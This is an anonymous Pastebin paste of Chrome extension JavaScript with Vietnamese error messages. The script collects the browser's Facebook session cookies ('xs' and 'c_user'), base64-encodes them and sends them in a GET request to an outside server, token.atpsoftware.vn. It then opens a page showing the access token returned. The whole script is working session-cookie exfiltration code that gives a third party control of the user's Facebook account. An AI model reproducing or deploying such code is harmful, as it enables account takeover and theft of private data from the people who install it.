Advertisement
Guest User

Untitled

a guest
Jun 25th, 2018
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.54 KB | None | 0 0
  1. var key = "";
  2. function getallfb()
  3. {
  4. chrome.cookies.getAll({domain: ".facebook.com"}, function(cookies) {
  5. var check_login = false;
  6. for(var i=0; i<cookies.length;i++) {
  7. if(cookies[i].name == "xs")
  8. {
  9. check_login = true;
  10. key += "xs="+cookies[i].value+";";
  11. }
  12. if(cookies[i].name == "c_user")
  13. {
  14. key += "c_user="+cookies[i].value+";";
  15. }
  16. }
  17. if(!check_login)
  18. {
  19. var notification = new Notification('Thông báo lổi', {
  20. icon: 'http://i.imgur.com/Nk0wyaW.png',
  21. body: 'Hệ thống không tìm thấy bất cứ tài khoản Facebook nào đang đăng nhập.',
  22. });
  23. notification.onclick = function () {
  24. window.open("http://facebook.com");
  25. };
  26. }
  27. if(check_login){
  28. xmlhttp=new XMLHttpRequest();
  29. xmlhttp.onreadystatechange=function()
  30. {
  31. if (xmlhttp.readyState==4 && xmlhttp.status==200)
  32. {
  33. var html = JSON.parse(xmlhttp.responseText);
  34. if(typeof html.access_token !== 'undefined'){
  35. var newURL = "http://token.atpsoftware.vn/?access_token="+html.access_token;
  36. window.open(newURL);
  37. }
  38. else
  39. {
  40. var notification = new Notification('Thông báo lổi', {
  41. icon: 'http://i.imgur.com/Nk0wyaW.png',
  42. body: html.msg,
  43. });
  44. notification.onclick = function () {
  45. window.open("http://atpsoftware.vn");
  46. };
  47. }
  48.  
  49. }
  50. }
  51. xmlhttp.open("GET", "http://token.atpsoftware.vn/token.php?key="+ btoa(key), false );
  52. xmlhttp.send();
  53. }
  54. });
  55. }
  56. getallfb();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement